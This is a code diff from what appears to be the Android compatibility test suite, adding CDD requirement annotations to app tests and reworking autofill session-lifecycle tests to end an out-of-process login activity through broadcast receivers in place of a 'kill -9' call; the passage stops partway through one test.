diff --git a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
index 4b9e5fa..3c2dd59 100644
--- a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
+++ b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
@@ -32,6 +32,8 @@
 import android.test.suitebuilder.annotation.Suppress;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.List;
 
 /**
@@ -92,6 +94,7 @@
         assertTrue(mDevicePolicyManager.isAdminActive(mComponent));
     }
 
+    @CddTest(requirement="7.3.10/C-1-10,9.11.1/C-5-2")
     public void testKeyguardDisabledFeatures() {
         if (!mDeviceAdmin) {
             Log.w(TAG, "Skipping testKeyguardDisabledFeatures");
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 7c1ed0d..68ccfc5 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -36,6 +36,7 @@
 import android.os.RemoteException;
 import android.test.InstrumentationTestCase;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.SystemUtil;
 
 public class ActivityManagerProcessStateTest extends InstrumentationTestCase {
@@ -433,6 +434,7 @@
      * Test that background check behaves correctly after a process is no longer foreground:
      * first allowing a service to be started, then stopped by the system when idle.
      */
+    @CddTest(requirement="3.5/C-0-7")
     public void testBackgroundCheckStopsService() throws Exception {
         final Parcel data = Parcel.obtain();
         ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext, mServiceIntent);
diff --git a/tests/app/src/android/app/cts/AspectRatioTests.java b/tests/app/src/android/app/cts/AspectRatioTests.java
index fa6154e..90770c9 100644
--- a/tests/app/src/android/app/cts/AspectRatioTests.java
+++ b/tests/app/src/android/app/cts/AspectRatioTests.java
@@ -42,6 +42,7 @@
 import android.view.View;
 import android.view.WindowManager;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.PollingCheck;
 
 import static android.content.Context.WINDOW_SERVICE;
@@ -114,6 +115,7 @@
         finishActivity(mMetaDataMaxAspectRatioActivity);
     }
 
+    @CddTest(requirement="7.1.1.2/C-0-1,C-0-2")
     @Test
     @Presubmit
     public void testDeviceAspectRatio() throws Exception {
diff --git a/tests/app/src/android/app/cts/DownloadManagerTest.java b/tests/app/src/android/app/cts/DownloadManagerTest.java
index 873647f..61de6c5 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTest.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTest.java
@@ -183,7 +183,7 @@
         }
     }
 
-    @CddTest(requirement="7.6.1")
+    @CddTest(requirement="7.6.1/C-0-1")
     public void testMinimumDownload() throws Exception {
         final DownloadCompleteReceiver receiver = new DownloadCompleteReceiver();
         try {
diff --git a/tests/app/src/android/app/cts/NotificationChannelTest.java b/tests/app/src/android/app/cts/NotificationChannelTest.java
index 70ec9cf..c54df84 100644
--- a/tests/app/src/android/app/cts/NotificationChannelTest.java
+++ b/tests/app/src/android/app/cts/NotificationChannelTest.java
@@ -28,6 +28,9 @@
 import android.provider.Settings;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="3.8.3.1/C-1-1,C-1-4")
 public class NotificationChannelTest extends AndroidTestCase {
 
     @Override
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index b6077ca..4ee7eaf 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -36,6 +36,8 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.HashMap;
@@ -43,6 +45,7 @@
 import java.util.Map;
 import java.util.UUID;
 
+@CddTest(requirement="3.8.3.1/C-1-3,C-1-4")
 public class NotificationManagerTest extends AndroidTestCase {
     final String TAG = NotificationManagerTest.class.getSimpleName();
     final boolean DEBUG = false;
@@ -173,6 +176,7 @@
         compareChannels(channel, mNotificationManager.getNotificationChannel(channel.getId()));
     }
 
+    @CddTest(requirement="3.8.3.1/C-1-3")
     public void testCreateChannelWithGroup() throws Exception {
         NotificationChannelGroup ncg = new NotificationChannelGroup("g", "n");
         mNotificationManager.createNotificationChannelGroup(ncg);
@@ -387,6 +391,7 @@
         checkNotificationExistence(id, false);
     }
 
+    @CddTest(requirement="3.8.3/H-0-2,3.8.3.1/C-2-1")
     public void testMediaStyle() throws Exception {
         mNotificationManager.cancelAll();
         final int id = 99;
@@ -438,6 +443,7 @@
         }
     }
 
+    @CddTest(requirement="3.8.3/H-0-2,3.8.3.1/C-2-1")
     public void testBigTextStyle() throws Exception {
         final int id = 101;
 
@@ -464,6 +470,7 @@
         }
     }
 
+    @CddTest(requirement="3.8.3/H-0-2,3.8.3.1/C-2-1")
     public void testBigPictureStyle() throws Exception {
         final int id = 102;
 
@@ -491,6 +498,7 @@
         }
     }
 
+    @CddTest(requirement="3.8.3.1/C-1-3")
     public void testAutogrouping() throws Exception {
         sendNotification(1, R.drawable.black);
         sendNotification(2, R.drawable.blue);
@@ -501,6 +509,7 @@
         assertAllPostedNotificationsAutogrouped();
     }
 
+    @CddTest(requirement="3.8.3.1/C-1-3")
     public void testAutogrouping_autogroupStaysUntilAllNotificationsCanceled() throws Exception {
         sendNotification(1, R.drawable.black);
         sendNotification(2, R.drawable.blue);
diff --git a/tests/app/src/android/app/cts/NotificationTest.java b/tests/app/src/android/app/cts/NotificationTest.java
index 25c25e3..47ab3a1 100644
--- a/tests/app/src/android/app/cts/NotificationTest.java
+++ b/tests/app/src/android/app/cts/NotificationTest.java
@@ -29,8 +29,11 @@
 import android.test.AndroidTestCase;
 import android.widget.RemoteViews;
 
+import com.android.compatibility.common.util.CddTest;
+
 import org.mockito.internal.matchers.Not;
 
+@CddTest(requirement="3.8.3/H-0-1,3.8.3.1/C-1-4")
 public class NotificationTest extends AndroidTestCase {
     private static final String TEXT_RESULT_KEY = "text";
     private static final String DATA_RESULT_KEY = "data";
diff --git a/tests/app/src/android/app/cts/PipActivityTest.java b/tests/app/src/android/app/cts/PipActivityTest.java
index bceb748..7f0e23e 100644
--- a/tests/app/src/android/app/cts/PipActivityTest.java
+++ b/tests/app/src/android/app/cts/PipActivityTest.java
@@ -21,6 +21,8 @@
 import android.app.stubs.PipActivity;
 import android.test.ActivityInstrumentationTestCase2;
 
+import com.android.compatibility.common.util.CddTest;
+
 import static android.content.pm.PackageManager.FEATURE_PICTURE_IN_PICTURE;
 
 public class PipActivityTest extends ActivityInstrumentationTestCase2<PipActivity> {
@@ -39,6 +41,7 @@
         mActivity = getActivity();
     }
 
+    @CddTest(requirement="3.8.14/C-3-1")
     public void testLaunchPipActivity() throws Throwable {
         runTestOnUiThread(new Runnable() {
             public void run() {
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index 5f8202d..fbac9e8 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -41,11 +41,13 @@
 import android.util.Log;
 import android.app.stubs.R;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.IBinderParcelable;
 import com.android.compatibility.common.util.SystemUtil;
 
 import java.util.List;
 
+@CddTest(requirement="3.5/C-0-2")
 public class ServiceTest extends ActivityTestsBase {
     private static final String TAG = "ServiceTest";
     private static final String NOTIFICATION_CHANNEL_ID = TAG;
diff --git a/tests/app/src/android/app/cts/SystemFeaturesTest.java b/tests/app/src/android/app/cts/SystemFeaturesTest.java
index 53b1bf2..f75342d 100644
--- a/tests/app/src/android/app/cts/SystemFeaturesTest.java
+++ b/tests/app/src/android/app/cts/SystemFeaturesTest.java
@@ -42,6 +42,8 @@
 import android.telephony.TelephonyManager;
 import android.test.InstrumentationTestCase;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.lang.reflect.Field;
 import java.util.ArrayList;
 import java.util.HashSet;
@@ -53,6 +55,7 @@
 /**
  * Test for checking that the {@link PackageManager} is reporting the correct features.
  */
+@CddTest(requirement="7/C-0-7")
 public class SystemFeaturesTest extends InstrumentationTestCase {
 
     private Context mContext;
@@ -231,6 +234,7 @@
         }
     }
 
+    @CddTest(requirement="3.8.7/C-1-1")
     public void testLiveWallpaperFeature() {
         try {
             Intent intent = new Intent(WallpaperManager.ACTION_LIVE_WALLPAPER_CHOOSER);
@@ -266,6 +270,7 @@
         }
     }
 
+    @CddTest(requirement="7.4.4/C-1-1,C-2-1")
     public void testNfcFeatures() {
         if (NfcAdapter.getDefaultAdapter(mContext) != null) {
             // Watches MAY support all FEATURE_NFC features when an NfcAdapter is available, but
@@ -283,6 +288,7 @@
         }
     }
 
+    @CddTest(requirement="7.1.3/C-0-1")
     public void testScreenFeatures() {
         assertTrue(mPackageManager.hasSystemFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE)
                 || mPackageManager.hasSystemFeature(PackageManager.FEATURE_SCREEN_PORTRAIT));
@@ -292,6 +298,7 @@
      * Check that the sensor features reported by the PackageManager correspond to the sensors
      * returned by {@link SensorManager#getSensorList(int)}.
      */
+    @CddTest(requirement="7.3/C-0-1,C-0-2,C-0-3")
     public void testSensorFeatures() throws Exception {
         Set<String> featuresLeft = getFeatureConstantsNames("FEATURE_SENSOR_");
 
@@ -438,6 +445,8 @@
     /**
      * Check that the {@link TelephonyManager#getPhoneType()} matches the reported features.
      */
+
+    @CddTest(requirement="7.4.1/C-1-1")
     public void testTelephonyFeatures() {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
@@ -462,6 +471,7 @@
         }
     }
 
+    @CddTest(requirement="7.2.4/C-1-2,C-3-1")
     public void testTouchScreenFeatures() {
         ConfigurationInfo configInfo = mActivityManager.getDeviceConfigurationInfo();
         if (configInfo.reqTouchScreen != Configuration.TOUCHSCREEN_NOTOUCH) {
@@ -474,15 +484,14 @@
         // TODO: Add tests for the other touchscreen features.
     }
 
+    @CddTest(requirement="7.7.2/C-2-1")
     public void testUsbAccessory() {
-        // USB accessory mode is only a requirement for devices with USB ports supporting
-        // peripheral mode. As there is no public API to distinguish a device with only host
-        // mode support from having both peripheral and host support, the test may have
-        // false negatives.
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) &&
                 !mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION) &&
                 !mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH) &&
-                !mPackageManager.hasSystemFeature(PackageManager.FEATURE_EMBEDDED)) {
+                !mPackageManager.hasSystemFeature(PackageManager.FEATURE_EMBEDDED) &&
+                mPackageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE) &&
+                mPackageManager.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)) {
             // USB accessory mode is only a requirement for devices with USB ports supporting
             // peripheral mode. As there is no public API to distinguish a device with only host
             // mode support from having both peripheral and host support, the test may have
diff --git a/tests/app/src/android/app/cts/UiModeManagerTest.java b/tests/app/src/android/app/cts/UiModeManagerTest.java
index 40fe0f5..48d6302 100644
--- a/tests/app/src/android/app/cts/UiModeManagerTest.java
+++ b/tests/app/src/android/app/cts/UiModeManagerTest.java
@@ -22,6 +22,8 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
+
 public class UiModeManagerTest extends AndroidTestCase {
     private static final String TAG = "UiModeManagerTest";
 
@@ -34,6 +36,7 @@
         assertNotNull(mUiModeManager);
     }
 
+    @CddTest(requirement="2.5.3/A-0-2,W-0-2")
     public void testUiMode() throws Exception {
         if (isAutomotive()) {
             Log.i(TAG, "testUiMode automotive");
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index e267503..7b32c03 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -45,6 +45,8 @@
 import android.view.Display;
 import android.view.WindowManager;
 
+import com.android.compatibility.common.util.CddTest;
+
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
@@ -112,6 +114,7 @@
         }
     }
 
+    @CddTest(requirement="3.2.3.4/C-0-1")
     @Test
     public void wallpaperChangedBroadcastTest() {
         Bitmap tmpWallpaper = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index 11541d4..5274b70 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -68,6 +68,13 @@
         <activity android:name=".AttachedContextActivity"/>
         <activity android:name=".TrampolineForResultActivity" />
 
+        <receiver android:name=".SelfDestructReceiver"
+            android:exported="true"
+            android:process="android.autofillservice.cts.outside"/>
+        <receiver android:name=".OutOfProcessLoginActivityFinisherReceiver"
+            android:exported="true"
+            android:process="android.autofillservice.cts.outside"/>
+
         <service
             android:name=".InstrumentedAutoFillService"
             android:label="InstrumentedAutoFillService"
diff --git a/tests/autofillservice/res/layout/login_activity.xml b/tests/autofillservice/res/layout/login_activity.xml
index 5cf0efd..8765882 100644
--- a/tests/autofillservice/res/layout/login_activity.xml
+++ b/tests/autofillservice/res/layout/login_activity.xml
@@ -77,24 +77,28 @@
             android:id="@+id/clear"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
+            android:layout_weight="1"
             android:text="Clear" />
 
         <Button
             android:id="@+id/save"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
+            android:layout_weight="1"
             android:text="Save" />
 
         <Button
             android:id="@+id/login"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
+            android:layout_weight="1"
             android:text="Login" />
 
         <Button
             android:id="@+id/cancel"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
+            android:layout_weight="1"
             android:text="Cancel" />
     </LinearLayout>
 
@@ -103,4 +107,4 @@
         android:layout_width="match_parent"
         android:layout_height="wrap_content" />
 
-</LinearLayout>
\ No newline at end of file
+</LinearLayout>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
index ee38a29..4453a0e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
@@ -15,10 +15,10 @@
  */
 package android.autofillservice.cts;
 
-import static android.autofillservice.cts.Helper.runShellCommand;
-
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.app.Activity;
 import android.app.PendingIntent;
 import android.content.Intent;
@@ -64,16 +64,12 @@
      */
     @Test
     public final void testTapLink_changeOrientationThenTapBack() throws Exception {
+        assumeTrue("Screen rotation not supported", sUiBot.isScreenRotationSupported());
 
-        // If the screen is too small and the devices shows an IME,
-        // it might not have space for all UI elements after the
-        // device is rotated to landscape.
-        sUiBot.assumeMinimumResolution(500);
+        sUiBot.setScreenResolution();
 
         sUiBot.setScreenOrientation(UiBot.PORTRAIT);
         try {
-            runShellCommand("wm size 1080x1920");
-            runShellCommand("wm density 420");
             saveUiRestoredAfterTappingLinkTest(
                     PostSaveLinkTappedAction.ROTATE_THEN_TAP_BACK_BUTTON);
         } finally {
@@ -81,8 +77,7 @@
             try {
                 cleanUpAfterScreenOrientationIsBackToPortrait();
             } finally {
-                runShellCommand("wm density reset");
-                runShellCommand("wm size reset");
+                sUiBot.resetScreenResolution();
             }
         }
     }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java
index 0e59e2f..8eea095 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java
@@ -24,6 +24,8 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.app.assist.AssistStructure;
 import android.util.Log;
 import android.view.autofill.AutofillId;
@@ -79,6 +81,7 @@
 
     @Test
     public void testDoNotRestoreDuplicateAutofillIds() throws Exception {
+        assumeTrue("Screen rotation not supported", sUiBot.isScreenRotationSupported());
         enableService();
 
         sReplier.addResponse(new CannedFillResponse.Builder()
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index fd96467..1000373 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -721,35 +721,6 @@
     }
 
     /**
-     * Wait until a process starts and returns the process ID of the process.
-     *
-     * @return The pid of the process
-     */
-    public static int getOutOfProcessPid(@NonNull String processName) {
-        long startTime = System.currentTimeMillis();
-
-        while (System.currentTimeMillis() - startTime <= UI_TIMEOUT_MS) {
-            String[] allProcessDescs = runShellCommand("ps -eo PID,ARGS=CMD").split("\n");
-
-            for (String processDesc : allProcessDescs) {
-                String[] pidAndName = processDesc.trim().split(" ");
-
-                if (pidAndName[1].equals(processName)) {
-                    return Integer.parseInt(pidAndName[0]);
-                }
-            }
-
-            try {
-                Thread.sleep(RETRY_MS);
-            } catch (InterruptedException e) {
-                Thread.currentThread().interrupt();
-            }
-        }
-
-        throw new IllegalStateException("process not found");
-    }
-
-    /**
      * Gets the maximum number of partitions per session.
      */
     public static int getMaxPartitions() {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java b/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
index fa233dd..5317d89 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
@@ -21,7 +21,9 @@
 
 import android.content.Context;
 import android.util.AttributeSet;
+import android.util.Log;
 import android.util.SparseArray;
+import android.view.autofill.AutofillManager;
 import android.view.autofill.AutofillValue;
 import android.webkit.WebView;
 
@@ -33,10 +35,12 @@
  */
 public class MyWebView extends WebView {
 
+    private static final String TAG = "MyWebView";
     private FillExpectation mExpectation;
 
     public MyWebView(Context context, AttributeSet attrs) {
         super(context, attrs);
+        Log.d(TAG, "isAutofillEnabled() on constructor? " + isAutofillEnabled());
     }
 
     public void expectAutofill(String username, String password) {
@@ -80,6 +84,10 @@
         }
     }
 
+    boolean isAutofillEnabled() {
+        return getContext().getSystemService(AutofillManager.class).isEnabled();
+    }
+
     private class FillExpectation {
         private final CountDownLatch mLatch = new CountDownLatch(1);
         private final String mExpectedUsername;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
index 83d1ce2..fdc105b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
@@ -30,36 +30,65 @@
  * Simple activity showing R.layout.login_activity. Started outside of the test process.
  */
 public class OutOfProcessLoginActivity extends Activity {
-    private static final String LOG_TAG = OutOfProcessLoginActivity.class.getSimpleName();
+    private static final String TAG = "OutOfProcessLoginActivity";
+
+    private static OutOfProcessLoginActivity sInstance;
 
     @Override
     protected void onCreate(@Nullable Bundle savedInstanceState) {
-        Log.i(LOG_TAG, "onCreate(" + savedInstanceState + ")");
+        Log.i(TAG, "onCreate(" + savedInstanceState + ")");
         super.onCreate(savedInstanceState);
 
         setContentView(R.layout.login_activity);
 
-        findViewById(R.id.login).setOnClickListener((v) -> {
-            finish();
-        });
+        findViewById(R.id.login).setOnClickListener((v) -> finish());
+
+        sInstance = this;
+    }
+
+    @Override
+    protected void onStart() {
+        Log.i(TAG, "onStart()");
+        super.onStart();
+        try {
+            if (!getStartedMarker(this).createNewFile()) {
+                Log.e(TAG, "cannot write started file");
+            }
+        } catch (IOException e) {
+            Log.e(TAG, "cannot write started file: " + e);
+        }
     }
 
     @Override
     protected void onStop() {
-        Log.i(LOG_TAG, "onStop()");
+        Log.i(TAG, "onStop()");
         super.onStop();
 
         try {
-            getStoppedMarker(this).createNewFile();
+            if (!getStoppedMarker(this).createNewFile()) {
+                Log.e(TAG, "could not write stopped marker");
+            } else {
+                Log.v(TAG, "wrote stopped marker");
+            }
         } catch (IOException e) {
-            Log.e(LOG_TAG, "cannot write stopped filed");
+            Log.e(TAG, "could write stopped marker: " + e);
         }
     }
 
     @Override
     protected void onDestroy() {
-        Log.i(LOG_TAG, "onDestroy()");
+        Log.i(TAG, "onDestroy()");
+        try {
+            if (!getDestroyedMarker(this).createNewFile()) {
+                Log.e(TAG, "could not write destroyed marker");
+            } else {
+                Log.v(TAG, "wrote destroyed marker");
+            }
+        } catch (IOException e) {
+            Log.e(TAG, "could write destroyed marker: " + e);
+        }
         super.onDestroy();
+        sInstance = null;
     }
 
     /**
@@ -71,4 +100,35 @@
     @NonNull public static File getStoppedMarker(@NonNull Context context) {
         return new File(context.getFilesDir(), "stopped");
     }
+
+    /**
+     * Get the file that signals that the activity has entered {@link Activity#onStart()}.
+     *
+     * @param context Context of the app
+     * @return The marker file that is written onStart()
+     */
+    @NonNull public static File getStartedMarker(@NonNull Context context) {
+        return new File(context.getFilesDir(), "started");
+    }
+
+   /**
+     * Get the file that signals that the activity has entered {@link Activity#onDestroy()}.
+     *
+     * @param context Context of the app
+     * @return The marker file that is written onDestroy()
+     */
+    @NonNull public static File getDestroyedMarker(@NonNull Context context) {
+        return new File(context.getFilesDir(), "destroyed");
+    }
+
+    public static void finishIt() {
+        Log.v(TAG, "Finishing " + sInstance);
+        if (sInstance != null) {
+            sInstance.finish();
+        }
+    }
+
+    public static boolean hasInstance() {
+        return sInstance != null;
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivityFinisherReceiver.java b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivityFinisherReceiver.java
new file mode 100644
index 0000000..b75785e
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivityFinisherReceiver.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+/**
+ * A {@link BroadcastReceiver} that finishes {@link OutOfProcessLoginActivity}.
+ */
+public class OutOfProcessLoginActivityFinisherReceiver extends BroadcastReceiver {
+
+    private static final String TAG = "OutOfProcessLoginActivityFinisherReceiver";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Log.i(TAG, "Goodbye, unfinished business!");
+        OutOfProcessLoginActivity.finishIt();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SelfDestructReceiver.java b/tests/autofillservice/src/android/autofillservice/cts/SelfDestructReceiver.java
new file mode 100644
index 0000000..8dc8dd9
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SelfDestructReceiver.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Process;
+import android.util.Log;
+
+/**
+ * A {@link BroadcastReceiver} that kills its process.
+ */
+public class SelfDestructReceiver extends BroadcastReceiver {
+
+    private static final String TAG = "SelfDestructReceiver";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Log.i(TAG, "Goodbye, cruel world!");
+        Process.killProcess(Process.myPid());
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
index bd26426..f092ad9 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
@@ -24,8 +24,8 @@
 import static android.autofillservice.cts.Helper.eventually;
 import static android.autofillservice.cts.Helper.findNodeByResourceId;
 import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.Helper.getOutOfProcessPid;
 import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.autofillservice.cts.OutOfProcessLoginActivity.getDestroyedMarker;
 import static android.autofillservice.cts.OutOfProcessLoginActivity.getStoppedMarker;
 import static android.autofillservice.cts.UiBot.LANDSCAPE;
 import static android.autofillservice.cts.UiBot.PORTRAIT;
@@ -34,12 +34,15 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.app.PendingIntent;
 import android.app.assist.AssistStructure;
 import android.content.Intent;
 import android.content.IntentSender;
 import android.os.Bundle;
 import android.os.SystemClock;
+import android.util.Log;
 import android.view.autofill.AutofillValue;
 
 import org.junit.After;
@@ -50,6 +53,8 @@
  * Test the lifecycle of a autofill session
  */
 public class SessionLifecycleTest extends AutoFillServiceTestCase {
+    private static final String TAG = "SessionLifecycleTest";
+
     private static final String USERNAME_FULL_ID = "android.autofillservice.cts:id/" + ID_USERNAME;
     private static final String PASSWORD_FULL_ID = "android.autofillservice.cts:id/" + ID_PASSWORD;
     private static final String LOGIN_FULL_ID = "android.autofillservice.cts:id/" + ID_LOGIN;
@@ -77,6 +82,20 @@
         Helper.allowAutoRotation();
     }
 
+    @After
+    public void finishLoginActivityOnAnotherProcess() throws Exception {
+        runShellCommand("am broadcast --receiver-foreground "
+                + "-n android.autofillservice.cts/.OutOfProcessLoginActivityFinisherReceiver");
+        sUiBot.assertGoneByRelativeId(ID_USERNAME, Helper.ACTIVITY_RESURRECTION_MS);
+
+        if (!OutOfProcessLoginActivity.hasInstance()) {
+            Log.v(TAG, "@After: Not waiting for oop activity to be destroyed");
+            return;
+        }
+        // Waiting for activity to be destroyed (destroy marker appears)
+        eventually(() -> assertThat(getDestroyedMarker(getContext()).exists()).isTrue());
+    }
+
     private void killOfProcessLoginActivityProcess() throws Exception {
         // Waiting for activity to stop (stop marker appears)
         eventually(() -> assertThat(getStoppedMarker(getContext()).exists()).isTrue());
@@ -85,119 +104,126 @@
         SystemClock.sleep(1000);
 
         // Kill activity that is in the background
-        runShellCommand("kill -9 %d",
-                getOutOfProcessPid("android.autofillservice.cts.outside"));
+        runShellCommand("am broadcast --receiver-foreground "
+                + "-n android.autofillservice.cts/.SelfDestructReceiver");
     }
 
     @Test
     public void testDatasetAuthResponseWhileAutofilledAppIsLifecycled() throws Exception {
+        assumeTrue("Screen rotation not supported", sUiBot.isScreenRotationSupported());
         // Set service.
         enableService();
 
-        // Start activity that is autofilled in a separate process so it can be killed
-        Intent outOfProcessAcvitityStartIntent = new Intent(getContext(),
-                OutOfProcessLoginActivity.class);
-        getContext().startActivity(outOfProcessAcvitityStartIntent);
+        sUiBot.setScreenResolution();
 
-        // Set expectations.
-        final Bundle extras = new Bundle();
-        extras.putString("numbers", "4815162342");
+        try {
+            // Start activity that is autofilled in a separate process so it can be killed
+            Intent outOfProcessAcvitityStartIntent = new Intent(getContext(),
+                    OutOfProcessLoginActivity.class);
+            getContext().startActivity(outOfProcessAcvitityStartIntent);
 
-        // Create the authentication intent (launching a full screen activity)
-        IntentSender authentication = PendingIntent.getActivity(getContext(), 0,
-                new Intent(getContext(), ManualAuthenticationActivity.class),
-                0).getIntentSender();
+            // Set expectations.
+            final Bundle extras = new Bundle();
+            extras.putString("numbers", "4815162342");
 
-        // Prepare the authenticated response
-        ManualAuthenticationActivity.setResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedFillResponse.CannedDataset.Builder()
-                        .setField(ID_USERNAME, AutofillValue.forText("autofilled username"))
-                        .setPresentation(createPresentation("dataset")).build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .setExtras(extras).build());
+            // Create the authentication intent (launching a full screen activity)
+            IntentSender authentication = PendingIntent.getActivity(getContext(), 0,
+                    new Intent(getContext(), ManualAuthenticationActivity.class),
+                    0).getIntentSender();
 
-        CannedFillResponse response = new CannedFillResponse.Builder()
-                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
-                .setPresentation(createPresentation("authenticate"))
-                .build();
-        sReplier.addResponse(response);
+            // Prepare the authenticated response
